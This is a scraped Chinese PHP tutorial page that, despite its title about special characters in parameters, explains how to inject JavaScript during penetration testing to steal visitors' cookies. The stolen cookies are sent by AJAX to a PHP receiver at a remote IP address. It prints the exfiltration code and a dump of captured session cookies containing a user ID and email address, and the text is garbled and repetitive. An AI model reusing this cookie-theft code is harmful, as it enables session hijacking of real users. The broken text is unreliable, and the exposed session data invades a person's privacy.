首頁  >  文章  >  後端開發  >  Php提交包含特殊字元的參數的方法

Php提交包含特殊字元的參數的方法

WBOY
WBOY原創
2016-07-29 09:09:061292瀏覽

在滲透的過程中,可以在網頁中插入JS在滲透的過程中,可以在網頁中插入JS程式碼來取得cookie

我們自己的伺服器呢? 在這裡,我使用的是AJAX

技術。但是Ajax有一個跨域的問題,所以需要再http頭部再進行設定。這裡主要講cookie的提交。我 cookie,true);這裡將從網頁獲取到的

cookie提交到receiveCookie.php上,其中一個

receiveCookie.php =1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829; =1450275148;SUP=cv%3D1%26bt%3D1450275168%26et%3D1450361568%26d %3D40c3%26i%3D2611%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D1%26uid%3D2277147785%26lt%3D1%26uid%3D2277147785%26lt%3D1%26uid%3D2277147785%261%3D1%26uid%3D2277147785%261477023714778536714778536970300001477700014777207147785%260%5030014772000147720001477200147772250017% 6name%3D493354115 %2540qq.com%26nick%3D%25E7%25BB%25BF%25E8%258C%25B66888%26sex%3D1%26ps%3D0%26email%3D%26dob%3D%26ln%3493D0%26email%3D%26dob%3D%26ln%34193636D%. %3D%26lcp%3D;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH47We9hTzl.1; ALF=1481811169;那麼提交的過程中遇到特殊字元

"%","&"等,就會自動解析,導致傳參數錯誤。 解決的方法是:var cookie = document.cookie;cookie = escape(encodeURIComponent(cookie));cookie = escape(encodeURIComponent(cookie));

cookie = escape(encodeURIComponent(cookie)); .17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);

receiveCookie.php ];

$cookie = (urldecode($cookie));

以上就介紹了Php提交包含特殊字元的參數的方法,包括了方面的內容,希望對PHP教程有興趣的朋友有所幫助。

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn